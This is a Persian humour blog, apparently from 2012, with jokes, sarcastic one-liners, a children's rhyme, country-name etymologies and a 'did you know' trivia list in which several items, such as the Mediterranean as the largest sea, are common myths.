جــ ــالــ ــب
دهانم پر از حرف است اما با دهان پُر هم نباید سخن گفت .

یاسمنگولا شنبه میره مغازه/موتورباباش هست داغونو قراضه...

یاسمنگولا به باباش میگه تو خوبی بابای یاسمنگولا به یاسمنگولامیگه:یاسمنگولا خودت خوبی...

یاسمنگولا در کوچه رو باز کرده / دستشو رو بچه ها دراز کرده

مامان یاسمنگولا میگه این کارها خیلی زشته / یاسمنگولااین جمله رو بالا سرش نوشته.

یاسمنگولا میره تو باغ بچرخه / باباش خریده براش دوچرخه

یاسمنگولا سیگار رو دوست نداره / دود سیگار کفرش رو در میاره

یاسمنگولا...آخ آخ..دخترگولا...آخ آخ

یاسمنگولا یه دختر زرنگه / بندهای کفشش رو خودش می بنده

 یاسمنگولا پاش لایه در گیر کرده بود /سگه واسه گرفتنش تیر کرده بود

یاسی همش جیغ می کشید کمک کمک / مامان یاسی اومد زدش یه فص کتک


ارسال شده در تاریخ : جمعه 26 اسفند 1390برچسب:, :: 18:16 :: به قلم : مهدی احمدیان

 


 

At least 5 people in this world love you so much they would die for you

حداقل پنج نفر در این دنیا هستند که به حدی تو را دوست دارند، که حاضرند برایت بمیرند.

 

At least 15 people in this world love you, in some way

حداقل پانزده نفر در این دنیا هستند که تو را به یک نحوی دوست دارند.

 

The only reason anyone would ever hate you, is because they want to be just like you

تنها دلیلی که باعث میشود یک نفر از تو متنفر باشد، اینست که می‌خواهد دقیقاً مثل تو باشد.

 

A smile from you, can bring happiness to anyone, even if they don't like you

یک لبخند از طرف تو میتواند موجب شادی کسی شود،

 حتی کسانی که ممکن است تو را دوست نداشته باشند

 

Every night, SOMEONE thinks about you before he/she goes to sleep

 

هر شب، یک نفر قبل از اینکه به خواب برود به  تو فکر می‌کند.

 

You are special and unique, in your own way

تو در نوع خود استثنایی و بی‌نظیر هستی.

 

Someone that you don't know even exists, loves you

یک نفر تو را دوست دارد، که حتی از وجودش بی‌اطلاع هستی.

 

When you make the biggest mistake ever, something good comes from it

وقتی بزرگترین اشتباهات زندگیت را انجام می‌دهی ممکن است منجر به اتفاق خوبی شود.

 

 When you think the world has turned it's back on you, take a look

 you most likely turned your back on the world

وقتی خیال می‌کنی که دنیا به تو پشت کرده، یه خرده فکر کن،

 شاید این تو هستی که پشت به دنیا کرده‌ای.

 

 Always tell someone how you feel about them

 you will feel much better when they know

همیشه احساست را نسبت به دیگران برای آنها بیان کن،

 وقتی آنها از احساست نسبت به خود آگاه می‌شوند احساس بهتری خواهی داشت.

 

If you have great friends, take the time to let them know that they are great

وقتی دوستان فوق‌العاده‌ای داشتی به آنها فرصت بده تا متوجه شوند که فوق‌العاده هستند.

 


ارسال شده در تاریخ : جمعه 26 اسفند 1390برچسب:, :: 18:10 :: به قلم : مهدی احمدیان

 

 

ضدحال يعنی وقتی منتظر فيلم مورد علاقت هستی برق بره!
ضدحال يعنی يه هفته قبل از اينکه جشن تولد بگيری خاله مامانت فوت کنه!
ضدحال يعنی نفر ۱۱کنکور شدن!
ضدحال یعنی سلام کنی جوابتو ندن!
ضدحال یعنی عینکت سر جلسه امتحان بیفته زمین بشکنه!
ضد حال یعنی سر جلسه امتحان خودکارت تموم بشه!
ضد حال یعنی...

 



ادامه مطلب...

ارسال شده در تاریخ : شنبه 20 اسفند 1390برچسب:, :: 11:0 :: به قلم : مهدی احمدیان

آرژانتین: سرزمین نقره (اسپانیایی)
آفریقای جنوبی: سرزمین بدون سرما / آفتابی جنوبی (لاتین، یونانی)
آلبانی: سرزمین کوه نشینان
آلمان: سرزمین همه مردان یا قوم ژرمن (فرانسوی، ژرمنی)
آنگولا: از واژه نگولا که لقب فرمانروایان محلی بود)
اتریش: شاهنشاهی شرق (ژرمنی)
اتیوپی: سرزمین چهره سوختگان (یونانی)
ازبکستان: سرزمین خودسالارها (سغدی، ترکی، فارسی دری)
اسپانیا: سرزمین خرگوش کوهی (فنیقی)
استرالیا: سرزمین جنوبی (لاتین)
استونی: راه شرقی (ژرمنی)
اسرائیل: جنگیده با خدا (عبری)
اسکاتلند: سرزمین اسکات ها (لاتین)
افغانستان: سرزمین قوم افغان (فارسی)
اکوادور: خط استوا (اسپانیایی)
الجزایر: جزیره ها (عربی)
السالوادور: رهایی بخش مقدس (اسپانیایی)
امارات متحده عربی: شاهزاده نشین های یکپارچه عربی (عربی)
اندونزی: مجمع الجزایر هند (فرانسوی)
انگلیس: سرزمین پیر استعمار (ژرمنی)
اوروگوئه: شرقی
اوکراین: منطقه مرزی (اسلاوی)
ایالات متحده امریکا: از نام آمریگو وسپوچی دریانورد ایتالیایی
ایتالیا: شاید به معنی ایزد (یونانی)
ایران: سرزمین آریایی ها٬ برگرفته از واژه «آریا» به معنی نجیب و شریف
ایرلند: سرزمین قوم ایر (انگلیسی)
ایسلند: سرزمین یخ (ایسلندی)
باهاما: دریای کم عمق یا ریشدارها (اسپانیایی)
بحرین: دو دریا (عربی)
برزیل: چوب قرمز
بریتانیا: سرزمین نقاشی شدگان (لاتین)
بلژیک: سرزمین قوم بلژ از اقوام سلتی، واژه بلژ احتمالاً معنی کیسه می داده
بلیز: یا از نام دزدی دریایی به نام والاس یا از واژه ای بومی به معنای آب گل آلود
بنگلادش: ملت بنگال (بنگلادشی)
بوتان: تبتی تبار
بوتسوانا: سرزمین قوم تسوانا
بورکینافاسو: سرزمین مردم درستکار
بولیوی: از نام سیمون بولیوار مبارز رهایی بخش آمریکای لاتین
پاراگوئه: این سوی رودخانه
پاکستان: سرزمین پاکان (فارسی دری)
پاناما: جای پر از ماهی (زبان کوئِوا)
پرتغال: بندر قوم گال از اقوام سلتی (لاتین)
پورتوریکو: بندر ثروتمند (اسپانیایی)
تاجیکستان: سرزمین تاجیک ها (فارسی دری)
تانزانیا: این نام از همامیزی تانگانیگا سرزمین دریاچه تانگا + زنگبار گرفته شده
تایلند: سرزمین قوم تای
ترکمنستان: سرزمین ترک + ایمان = ترکیمان = ترکمان = ترکمن سرزمین ترک هایی که مسلمان شده اند (مربوط به سده های آغازین اسلام)
ترکیه: سرزمین قوی ها (ترکی با پسوند عربی)
جامائیکا: سرزمین بهاران
جیبوتی: شاید به پادری بافته از الیاف نخل می گفتند (زبان آفار)
چاد: دریاچه (زبان بورنو)
چین: سرزمین مرکزی (چینی)
دانمارک: مرز قوم "دان"
دومینیکن: کشور دومینیک مقدس (اسپانیایی)
روسیه: کشور روشن ها، سپیدان
روسیه سفید / بلاروس: درخشنده روس / سفید روسی
رومانی: سرزمین رومی ها
زلاند نو: زلاند جدید (زلاند نام یکی از استان های هلند به معنای دریاست)
ژاپن: سرزمین خورشید تابان (ژاپنی)
سریلانکا: جزیره باشکوه (سنسکریت)
جزایر سلیمان: از نام حضرت سلیمان
سوئد: سرزمین قوم "سوی"
سوئیس: سرزمین مرداب
سودان: سیاهان (عربی)
سوریه: سرزمین آشور (سامی)
سیرالئون: کوه شیر
شیلی: پایان خشکی/ برف
عراق: شاید از ایراک به معنای ایران کوچک (فارسی)
عربستان سعودی: سرزمین بیابانگردان در تملک خاندان خوشبختواژه عرب به معنی گذرنده و بیابانگرد استسعود یعنی خوشبخت
فرانسه: سرزمین قوم فرانک از اقوام سلتی
فلسطین: یکی از اسامی قدیم رود اردن
فنلاند: سرزمین قوم "فن"
فیلیپین: از نام پادشاهی اسپانیایی به نام فیلیپ
قرقیزستان: سرزمین چهل قبیله قرقیزی
قزاقستان: سرزمین کوچگران قزاقی
قطر: شاید به معنای بارانی (عربی)
کاستاریکا: ساحل غنی (اسپانیایی)
کانادا: دهکده زبان سرخپوستی "ایروکوئی"
کلمبیا: سرزمین کلمب (کریستف کلمب) (اسپانیایی)
کنیا: کوه سپیدی (زبان کیکویو)
کویت: دژ کوچک هندی (عربی)
گرجستان: سرزمین کشاورزان (یونانی)
لبنان: سفید (عبری)
لهستان: سرزمین قوم "له"
لیبریا: سرزمین آزادی
مجارستان: سرزمین قوم مجار (مجاری)
مراکش: مغرب
مصر: شهر، آبادی
مقدونیه: سرزمین کوه نشین ها، بلندنشین ها (یونانی)
مکزیک: اسپانیای جدید (اسپانیایی)
موریتانی: سرزمین قوم مور (لاتین)
میکرونزی: مجمع الجزایر کوچک فراسوی
نروژ: راه شمال
نیجر: سیاه (لاتین)
نیجریه: سرزمین سیاه (لاتین)
نیکاراگوئه: دریای نیکارائو (نام مردم آن منطقه) آگوئه (اسپانیایی)
واتیکان: گرفته شده از نام تپه ای به نام واتیکان (اتروسکی)
ونزوئلا: ونیز کوچک
ویتنام: اقوام "ویت" جنوبی (ویتنامی)
ویلز: بیگانگان (ژرمنی)
هلند: سرزمین چوب آلمانی
هند: پر آب (فارسی باستان)
هندوراس: ژرفناها (اسپانیایی)
یمن: خوشبخت
یونان: سرزمین قوم "یون



ارسال شده در تاریخ : جمعه 19 اسفند 1390برچسب:, :: 12:43 :: به قلم : مهدی احمدیان

  نگاهت همچون باران است و قلبم همچون كوير... و مي داني كه كوير بدون باران زنده است... پس برو بمير.

یه توپ دارم قلقليه ....... موهاي سرم فرفريه ..... مسیج جديد نداشتم سرت كلاه گذاشتم.

گلهاي خوشبوي دنيارو هم به پات بريزم بازم کمه چون پاهات خيلي بو ميده.

دختره ميره تو كتاب فروشي ميگه آقا ببخشيد كتاب برتري زن بر مرد دارين؟ مرده نگاش ميكنه ميگه خانم شرمنده ما اينجا رمان تخييلي نميفروشيم.

طرز تهيه دختر سالم مواد لازم . ...........اصلا ولش كن مواد رو حروم نكنيم.

از من بپرسند بهترین، زیباترین، شجاع ترین، محبوب ترین، داناترین، عاقل ترین ادم کیه ؟ انگشتمو به طرفت تو دراز می کنم و می گم این نمی تونه باشه.

دوست دارم يه سنگ بردارم و روي اون بنويسم:دلم برات تنگ شده و اونو محکم بکوبونم توي سرت تا بفهمي که فراموش کردن من چقدر سخت و دردناکه.

می دونی چرا دوست دارم با تو برم ماهی گيری چون هيچ کس مثل تو کرم نداره.

میدوني اگه يه اسب با يه سمور ازدواج کنه بچشون چي ميشه؟ . . . . من چميدونم.مگه من گفتم عروسي کنن؟مگه من گفتم بچه دار شن؟

يک گل خوشگل پشت ويترين گل فروشي ديدم!!! خواستم برات بخرمش. به فروشنده گفتم :اون گل چند؟ گفت:اون گل نيست........آينه ست

 

 


   مي خواستم شمع باشم تا آخر عمر برات بسوزم... ولي نامرد اديسون برق رو اختراع كرد

 

 


   چند وقته دلم هوس تاب بازی کرده. اجازه می دی بیام تو ذهنت؟ آخه شنیدم مخت تاب داره

 

 


   معادله جالب: از سن خودت 20 سال کم کن. باقيمانده رو با 7 جمع کن. اگه عدد زوج بود با 1 جمع و اگه فرد بود از يک کم کن. اگه رنگ تيره رو دوس داري ضرب در 3 کن و اگه رنگ روشن رو دوس داري ضربدر 3.5 کن. نتيجه نهايي رو ول کن. حال خودت چطوره؟

 

 


   اسمت را روي كاه نوشتم خراب شد اسمت را روي شمع نوشتم آب شد اسمت را روي قلبم نوشتم شكست ........بروبابا توهم با اين اسمت

 

 


   از خـدا يـه گل خواسـتــم،اون بـه مـن يـه بـاغ داد من از خدا يه درخت خواستم،اون به من يه جنگل داد میترسم از خدا تو رو بخوام بهم یک گله گوساله بده

 

 


   من سر راه تو دامي از عشق پهن کردم ولي تو به سرعت از کنار آن رد شدي و گفتي:ميگ ميگ


ارسال شده در تاریخ : سه شنبه 16 اسفند 1390برچسب:, :: 19:8 :: به قلم : مهدی احمدیان

 

 

دوازده شب رسیدم در خونه کلید نداشتم به داداشم زنگ زدم می گم یواش در رو باز کن بقیه بیدار نشن. میگه در خونه رو؟
پـَـ نه پَــ! در یخچال رو! سر شب گرمم بود رفتم پیش تخم مرغها خوابیدم!

شیشه رفته توی دستم، دارم از درد جیغ و داد می کنم، به رفیقم می گم: در بیار... می گه شیشه رو؟
پـَـ نه پَــ! ادای من رو در بیار شاد شیم!

تصادف کردم، زنگ زدم ۱۱۰، پلیسه اومده می گه تصادف کردی؟!
گفتم: پـَـ نه پَــ! اینا همش نقشه بود بیای ببینمت!

می گم دیگه می خوام از ایران برم...
می گه با آژانس مهاجرتی می ری؟
پـَـ نه پَــ! هماهنگ کردم اول پاییز با دسته غازهای مهاجر!

بعد از کلی کلنجار رفتن با شریکم بهش گفتم باید از هم جدا شیم...
می گه یعنی جداً از هم جدا شیم؟
پـَـ نه پَــ! من فقط عاشق اینم حرف قلبتو بدونم، الکی بگم جدا شیم، تو بگی که نمی تونم!

آقاهه اومده خونه رو ببینه واسه خرید. تا طبقه سوم از پله اومده بالا. می گه پس این جا کلا آسانسور نداره!
پـَـ نه پَــ! آسانسور داره، ولی از طبقه چهارم شروع می شه!

دارم تو خونه رو تردمیل می دوم. برادرم میاد می گه داری می دوی لاغر کنی؟
پـَـ نه پَــ! کلاسم دیر شده عجله دارم!

مرغ رو از فریزر در آوردم، می گه می خوای غذا درست کنی؟
پـَـ نه پَــ! خانواده اش اومدن، می خوان از سردخونه ببرن خاکش کنن...

با نامزدش رفته طلافروشی حلقه بخره...
فروشنده می گه واسه نامزدی می خواهید؟!
پـَـ نه پَــ! سر صحنه فیلمبرداری ارباب حلقه ها بودیم، حلقه کم آوردیم، اینه که مزاحم شما شدیم!

می خواستم از سایت RapidShare یه فایل دانلود کنم... 560 ثانیه صبر کردم، بعد پیغام می ده: آیا می خواهید این فایل را دانلود کنید؟
می گم پـَـ نه پَــ! خیلی حال داد، یک بار دیگه بشمار، من باز هم بروم قایم شوم... نیایی ها!

تو خیابون با دوستم داشتم راه می رفتم، موتوریه گوشیم رو از دستم قاپید. دوستم گفت: گوشیت رو دزدید؟
گفتم پـَـ نه پَــ! برد سیستم عاملش رو آپدیت کنه، فردا میاره!

رفتم مرغ فروشی، به فروشنده می گم بال دارین؟ می گه بال مرغ؟
پـَـ نه پَــ! بال هواپیما، چند تا کوچه پایین تر سقوط کردیم می خوام درستش کنم!

رفتیم کوه... دارم چوب جمع می کنم...
دوستم می گه می خوای با چوبا آتیش درست کنی؟
پـَـ نه پَــ! پشت دریاها شهریست، قایقی خواهم ساخت...

رفتم بچه خواهرم رو از مهدکودک بیارم. مربیه می گه بچه رو می بریدش؟
پـَـ نه پَــ! همین جا می خورمش!

رفتم دستشویی عمومی، در می زنم می گم یه کم سریع تر. می گه شما هم دستشویی داری؟
پـَـ نه پَــ! اومدم ببینم شما کم و کسری نداری؟

 


ارسال شده در تاریخ : سه شنبه 16 اسفند 1390برچسب:, :: 18:24 :: به قلم : مهدی احمدیان

هیچ کس همراه نیست تنهای اول


ارسال شده در تاریخ : یک شنبه 14 اسفند 1390برچسب:, :: 19:27 :: به قلم : مهدی احمدیان

اعتراف هایتان را برای ما ارسال کنید.


ارسال شده در تاریخ : شنبه 13 اسفند 1390برچسب:, :: 11:5 :: به قلم : مهدی احمدیان

مطالب طنز مورد نظرتان را در نظرات این قسمت واردنمایید.


ارسال شده در تاریخ : جمعه 12 اسفند 1390برچسب:, :: 1:42 :: به قلم : مهدی احمدیان

فقط یه ایرانی میتونه بعد از شنیدن صدای پیغامگیرِ تلفن بگه اِاا رفت رو پیغامگیرشون و سریعاً تلفن رو قطع کنه!

***
فقط یه ایرانی میتونه طوری زل زل نگات کنه تو خیابان که نفهمی خوشگلی یا زیپت بازه !

 

فقط خانومهای ایرانی هستن از یه هفته قبل از عروسی هی میگن
چی بپوشیم؟! .. چی بپوشیم؟!
اونوقت شب عروسی ؛ رسماً هیچی نمی پوشن

 

***
تعمیرات مدل ایرانی‌:
۱-درشو باز کردن و فوت کردن. ۲-کامل باز کردن و دوباره بستن
۳-محکم زدن(مثل به پشت کنترل تلویزیون).

***
فقط آسمون ایران میتونه : کمی ! تا قسمتی! نیمه ابری! همراه با بارش پراکنده!در برخی از نقاط باشه. . . ( آخر ادبیاته این جمله)! :

 

***
تنها ایرانیان که وقتی میخوان از خیابون رد شن به جا اینکه به چراغ عابر نگاه کنند
به ماشینا نگاه میکنن که کی خلوت میشه سریع رد شن!

***
اگه ورزشی به نام "سگ دو" وجود داشت ما ایرانیا حتما توش می تونستیم یه خودی نشون بدیم... !!!


ارسال شده در تاریخ : پنج شنبه 11 اسفند 1390برچسب:, :: 19:24 :: به قلم : مهدی احمدیان

 

آیامی دانستیدفقط یک نفر از یک میلیارد نفر بیش از ۱۱۶ سال عمر میکند.


. آیامی دانستیدهر آمریکایی به طور میانگین ۲ کارت اعتباری دارد.


. آیامی دانستیدقلب انسان میتواند خون را ۱۰ متر به بیرون پرتاب کند.


. آیامی دانستیدمتداولترین نام در دنیا محمد است.


. آیامی دانستیدزبان قویترین ماهیچه در بدن است.


. آیامی دانستیدروز تولد شما حداقل با ۹ میلیون نفر دیگر یکی است.


. آیامی دانستیدستاره دریایی مغز ندارد.


. آیامی دانستیدزنان تقریبا ۲ برابر مردان چشمک میزنند.


. آیامی دانستیدشما نمیتوانید با حبس کردن نفستان خودکشی کنید.


. آیامی دانستیدانسانهای راست دست به طور میانگین ۹ سال بیش از چپ دستها عمر میکنند.


. آیامی دانستید لئوناردوداوینچی قیچی را اختراع کرد.


. آیامی دانستیددرآمد مایکل جوردن از کمپانی نایک، بیش از درآمد تمام کارکنان این کمپانی در کشور مالزی است.


. آیامی دانستیدهیچ کلمه ای در زبان انگلیسی با کلمه month هم قافیه نمیشود.


. آیامی دانستیدمورچه ها بعد از مرگ در اثر سم پاشی به پهلوی راست میافتند.


. آیامی دانستیدهر انسانی در طول زندگیاش به طور میانگین ۸ عنکبوت را در حال خواب میخورد.


. آیامی دانستیدگربه ماهی بیش از ۲۷۰۰۰ عضو چشایی دارد.


. آیامی دانستیدکشتی ملکه الیزابت دوم بابت هر گالون سوختی که میسوزاند فقط ۱.۵ متر حرکت میکند.


. آیامی دانستیدصندلی الکتریکی را یک دندانپزشک اختراع کرد.

. آیامی دانستید که خوک*ها به دلیل فیزیک بدنی قادر به دیدن آسمان نیستند؟


. آیامی دانستیدکه فندک قبل از کبریت اختراع شد؟


. آیامی دانستیدکه سالانه ۴ هزار نفر غیر سیگاری در اثر همنشینی با افراد سیگاری به سرطان ریه مبتلا شده و جان می سپرند؟


. آیامی دانستیدکه در زیمبابوه از هر ۵ نفر یکی مبتلا به بیماری ایدز است؟


. آیامی دانستیدکه در سوید سالیانه از ۹ میلیون جمعیتی که دارد فقط ۱۷۰۰ نفر می
میرند؟


. آیامی دانستیدایران به سی کشور جهان تسهیلات نظامی صادر می کند؟


. آیامی دانستیدکه تقریبا ۶۵ درصدوزن انسان را اکسیزن تشکیل میدهد؟


. آیامی دانستیدکه هر ۱۳ دقیقه یک کتاب جدید در امریکا منتشر میشود؟


. آیامی دانستیدکه حد متوسط مطالعه کتاب در بین ایرانیان ۳ دقیقه در سال است.


. آیامی دانستیدکه رشد تعداد ماشینها در جهان سه برابر رشد جمعیت انسانهاست.


. آیامی دانستیدکه از جمعیت ۶ میلیاردی جهان ۵/۱ میلیارد نفر از اب اشامیدنی محرومند و ۶/۱ میلیارد نفر به برق دسترسی ندارند.


. آیامی دانستیدکه سرطان سینه چنانچه در مراحل اولیه باشد حتی با ماموگرافی
نمیتوان پی به وجود ان برد مگر اینکه چند سال از رشد ان گذشته باشد؟ بد نیست
بدانید مصرف لیمو ترش از ابتلا به بیماری سرطان سینه جلوگیری می کند


. آیامی دانستیدکه در ایران سالانه ۲۸ هزار نفر در حوادث رانندگی جان خود را از
دست می دهند. این امار در جهان یک میلیون دویست هزار نفر میباشد که نود در
صد ان مربوط به کشورهای جهان سوم میباشد.


. آیامی دانستیدکه در هر دقیقه نسل یک موجود زنده در جهان منقرض می شود.


. آیامی دانستیدکه مار می تواند تا نیم ساعت بعد از قطع شدن سرش نیش بزند.


. آیامی دانستیدکه بیشتر هواپیماها صندلی شماره ۱۳ را ندارند.


. آیامی دانستیدکه اثر سیب در بیدار نگهداشتن افراددرشب بیشتر از قهوه و کافین
است.


. آیامی دانستیدکه ۵۵درصدسوانح هوایی در زمان نشستن هواپیماو۳۰درصد در
هنگام برخاستن هواپیما رخ می دهد.


. آیامی دانستیدکه در تایوان بشقاب های گندمی درست میشودوافراد بعد از خوردن
غذابشقاب هایشان را هم می خورند.


. آیامی دانستیدکه گوش و بینی درتمام طول عمر انسان در حال رشد می باشند و
بزرگتر می شوند.


. آیامی دانستیدکه آب دریا بهترین ماسک زیبایی پوست می باشد.


. آیامی دانستیدکه اولین مردمانی که نخ را کشف کردند وموفق به ریسیدن ان شدند
ایرانیان بودند.


. آیامی دانستیدکه بزرگترین دریای دنیا دریای مدیترانه است و عمیق ترین نقطه ان
به ۴۳۳۰متر میرسد.


. آیامی دانستیدکه فقط پشه ماده نیش می زند و از پروتین خون مکیده شده جهت
تخم گذاری استفاده می کند.


. آیامی دانستیدکه به طور متوسط شما روزی ۵۰۰۰کلمه صحبت میکنید که۸۰% ان
با خودتان است!

. آیامی دانستیدکه هر چشم مگس دارای ۱۰ هزار عدسی است.


. آیامی دانستیدمقاومت موش صحرایی در برابر بیآبی بیشتر از شتر است.


. آیامی دانستیدجمعیت میمونهای هند بالغ بر ۵۰ میلیون است.


. آیامی دانستیدیک نوع وزغ وجود دارد که در بدن خود سم کافی برای کشتن ۲۲۰۰ انسان در اختیار دارد.


. آیامی دانستید۳۵۰ هزار نوع کفشدوزک در جهان وجود دارد.


. آیامی دانستیدنوشابههای زرد رنگ، زیانبارتر از نوشابه های سیاه رنگ هستند.


. آیامی دانستیدشش چپ، اندکی از شش راست کوچکتر است تا فضای کافی برای قرارگیری قلب فراهم آید.


. آیامی دانستیدتعداد سلولهای گیرنده بویایی در سگهای معمولی، یک میلیارد و در سگهای شکاری،۴ میلیارد عدد است

. آیامی دانستیدرشد کودک در بهار بیشتر است.


. آیامی دانستیدحس بویایی مورچه با حس بویایی سگ برابری می کند.


. آیامی دانستیددر تمام وجود شما بیش از یک مشت گچ (کلسیم) وجود دارد.


. آیامی دانستیدهر تکه کاغذ را بیش از 9 بار نمی توان تا کرد.


. آیامی دانستیدوقتی عطسه می کنید قلب شما به اندازه یک میلیونیم ثانیه می ایستد.


. آیامی دانستیدتنها غذایی که فاسد نمی شود عسل است.


. آیامی دانستیدحلزون می تواند سه سال بخوابد.


. آیامی دانستیدفیل ها قادر به پریدن نیستند.


. آیامی دانستیدشن خیس از شن خشک سبکتر است.


. آیامی دانستیدتا زمانی که غذا با بزاق مخلوط نشود، مزه اش احساس نمی گردد.


. آیامی دانستیدگاونر کوررنگ است و فقط به حرکت شنلی که گاوباز در جلوی او تکان می دهد حساس است. دیگر فرقی نمی کند شنل چه رنگی باشد.


. آیامی دانستیدقدرت بینایی جغد هشتاد و دو برابر انشان است.


. آیامی دانستیدفقط قورباغه های نر قورقور می کنند.


. آیامی دانستیدلایه ی اوزون فقط به اندازه دو سکه ی روی هم ضخامت دارد.


. آیامی دانستیدرازی به غیر از الکل کاشف گوگرد هم هست.


. آیامی دانستیدقرنیه ی چشم انسان خون ندارد.
 


ارسال شده در تاریخ : پنج شنبه 11 اسفند 1390برچسب:, :: 19:7 :: به قلم : مهدی احمدیان

حیف نون می ره عیادت مادرزنش. می پرسه "بهتری؟"
مادرزنش می گه: "تبم قطع شده ولی گردنم هنوز درد می کنه..."
حیف نون می گه: "انشاالله اون هم قطع می شه!"


توی رستوران، لیوان رو بر عکس گذاشته بودند روی میز... حیف نون می ره می نشینه سر میز، می گه: "این چه لیوانیه که سر نداره؟!" بر عکسش می کنه، می گه: "چه جالب! ته هم نداره!"

حیف نون می ره هتل... صبح روز اول می ره توی رستوران هتل صبحانه بخوره، می بینه روی تابلو نوشته: "از ساعت ۷ الی ۱۱ صبحانه... از ساعت ۱۱ الی ۵ ناهار و از ساعت ۵ الی ۱۱ شب شام سرو می شود..."
پیش خودش می گه: پس من کی وقت کنم برم شهر رو ببینم؟

حیف نون می ره کربلا، بهش می گن سر قبر مختار هم رفتی؟ کجا بود؟
می گه آره، قطعه هنرمندا!


از همسایه حیف نون می پرسن: قبض آب و برقت رو چه طور پرداخت می کنی؟ می گه: "می ذارم زیر برف پاک کن ماشین حیف نون، می بره پرداخت می کنه!"


حیف نون از دوستش می پرسه: توک چشم کجاست؟
دوستش می گه چشم که توک نداره!
می گه: پس چرا خواننده می گه: توکه چشمات خیلی قشنگه؟


حیف نون: نمی دونم وقتی می گن به افتخارش دست بزنید دقیقا باید به کجاش دست بزنیم؟


حیف نون تو ژاپن راننده ی تاکسی می شه، هر کی براش دست بلند می کنه می گه: شوخی نکن دیگه، تو رو الان رسوندم!


یه روز حیف نون به دوستش می گه: بیا تعطیلات بریم دور دنیا.
دوستش می گه: نه، بریم یه جا دیگه!

از مربی بدنسازی پرسیدم: با کدوم دستگاه بیشتر کار کنم تا دخترها عاشق هیکلم بشن؟ مربی گفت: از دستگاه خودپرداز بیرون سالن استفاده کن.

یکی می ره دکتر به دکتره می گه: آقای دکتر! نمی دانم چرا به محض این که اولین لقمه را می خورم دل درد می گیرم.
دکتر می گه: خوب جانم! تو اولین لقمه را کنار بگذار و از دومین لقمه شروع کن!

حیف نون به نامزدش می گه عصر میام دنبالت بریم بوق بزنیم. نامزدش می گه: ماشین خریدی؟ می گه: "نه، بوق خریدم!"


حیف نون زنگ می زنه مطلب، می گه: متخصص پوست؟ منشی می گه: بله. حیف نون می گه: پوست بز چند می خرید؟


دقت کردین ما ایرانیا وقتی بچه هستیم، می گن بچه است، نمی فهمه!
وقتی نوجوان هستیم، می گن نوجوونه، نمی فهمه!
وقتی جوان هستیم می گن جوون و خامه، نمی فهمه!
وقتی بزرگ می شیم، می گن داره پیر می شه، نمی فهمه!
وقتی هم پیر هستیم می گن پیره، حالیش نیست! نمی فهمه!
فقط موقعی که می میریم میان سر قبرمون و می گن عجب انسان فهمیده ای بود!

عزیزم! دیشب خواب دیدم برای تولدم یه انگشتر الماس بهم هدیه دادی. فکر می کنی تعبیرش چیه؟!
مرد: عزیزم! تا دوشنبه صبر کن معلوم می شه!
روز دوشنبه مرد پاکتی به زن می ده، زن وقتی با شوق پاکت رو باز می کنه، داخل پاکت، یک کتاب تعبیر خواب پیدا می کنه!

گرگه در خونه بزبزقندی رو می زنه.
شنگول می گه: کیه؟
گرگه می گه: منم، آقا گرگه.
شنگول و منگول و حبه انگور تحت تاثیر صداقتش قرار می گیرن و در رو باز می کنن!

پیرمردی مشکل شنوایی داشته و هیچ صدایی رو نمی تونسته بشنوه.
بعد از چند سال بالاخره با یک دارویی خوب می شه.
دو سه هفته می گذره و می ره پیش دکترش که بگه گوشش حالا می شنوه.
دکتر خیلی خوشحال می شه و می گه: خانواده شما هم باید ظاهرا خیلی خوشحال باشن که شنوایی تون رو بدست آوردید.
پیرمرد می گه: نه، من هنوز بهشون چیزی نگفته ام! هر شب می شینم و به حرف هاشون گوش می کنم... فقط تنها اتفاقی که افتاده اینه که توی این مدت تا حالا چند بار وصیت نامه ام رو عوض کرده ام!

دانشمندان شهر حیف نون اینا دریافتند انسان هایی که بیشتر عمر می کنند دیرتر می میرند!


حیف نون رو عقرب نیشش می زنه در حال مرگ می گه: سر قبرم بنویسید پلنگ خوردش!


سوال کنکور حیف نون اینا: اسب سفید رستم چه رنگی بود؟ مال کی بود؟
جواب حیف نون: مشکی بود، مال زورو بود!


به حیف نون می گن امتحان رانندگی قبول شدی؟ می گه: "معلوم نیست، ماشینو زدم تو دیوار، سروان رفته تو کما، منتظرم برگرده ببینم چی می شه!"


حیف نون و دوستش کنار رودخانه کله پاچه می شستند،
آب کله رو می بره، حیف نون برای کله علف تکون می ده. دوستش می گه: ولش کن، نمی تونه فرار کنه... پاهاش دست منه!


حیف نون می فهمه زنش می خواد ازش جدا بشه، بهش می گه: "من ازت حامله ام!"


حیف نون می ره یخ بخره، پول کم میاره، به یخ دست می زنه می گه از این سردتر نداری؟


حیف نون می ره کربلا، قبر مختار رو بغل می کنه می گه: "دمت گرم! عجب فیلمى بازى کردى!"


ارسال شده در تاریخ : چهار شنبه 10 اسفند 1390برچسب:, :: 18:14 :: به قلم : مهدی احمدیان

چهار دانشجو كه به خودشان اعتماد كامل داشتند يك هفته قبل از امتحان پايان ترم به مسافرت رفتند و با دوستان خود در شهر ديگر حسابي به خوشگذراني پرداختند. اما وقتي به شهر خود برگشتند متوجه شدند كه در مورد تاريخ امتحان اشتباه كرده اند و به جاي سه شنبه، امتحان دوشنبه صبح بوده است. بنابراين تصميم گرفتند استاد خود را پيدا كنند و علت جا ماندن از امتحان را براي او توضيح دهند. آنها به استاد گفتند: « ما به شهر ديگري رفته بوديم كه در راه برگشت لاستيك خودرومان پنچر شد و از آنجايي كه زاپاس نداشتيم تا مدت زمان طولاني نتوانستيم كسي را گير بياوريم و از او كمك بگيريم، به همين دليل دوشنبه دير وقت به خانه رسيديم.».....استاد فكري كرد و پذيرفت كه آنها روز بعد بيايند و امتحان بدهند. چهار دانشجو روز بعد به دانشگاه رفتند و استاد آنها را به چهار اتاق جداگانه فرستاد و به هر يك ورقه امتحاني را داد و از آنها خواست كه شروع كنند....آنها به اولين مسأله نگاه كردند كه 5 نمره داشت. سوال خيلي آسان بود و به راحتي به آن پاسخ دادند.....سپس ورقه را برگرداندند تا به سوال 95 امتيازي پشت ورقه پاسخ بدهند كه سوال اين بود: « كدام لاستيك پنچر شده بود؟»....!!!


ارسال شده در تاریخ : دو شنبه 8 اسفند 1390برچسب:, :: 19:34 :: به قلم : مهدی احمدیان

مدارک لازم جهت خرید بلیط هواپیمایی جمهوری اسلامی ایران:
1- امضای تاییدیه منطقه جغرافیایی برخورد با زمین (همه جای ایران سرای من است)
2- تلفن اضطراری جهت اعلام سقوط به ترتیب اولویت خانواده همسر، خانواده خود، طلبکاران، بدهکاران
3- کپی وصیت نامه به همراه رضایت نامه امضا شده.
4- فیش بانکی مربوط به غسل میت با آب غیر یارانه‌ای.
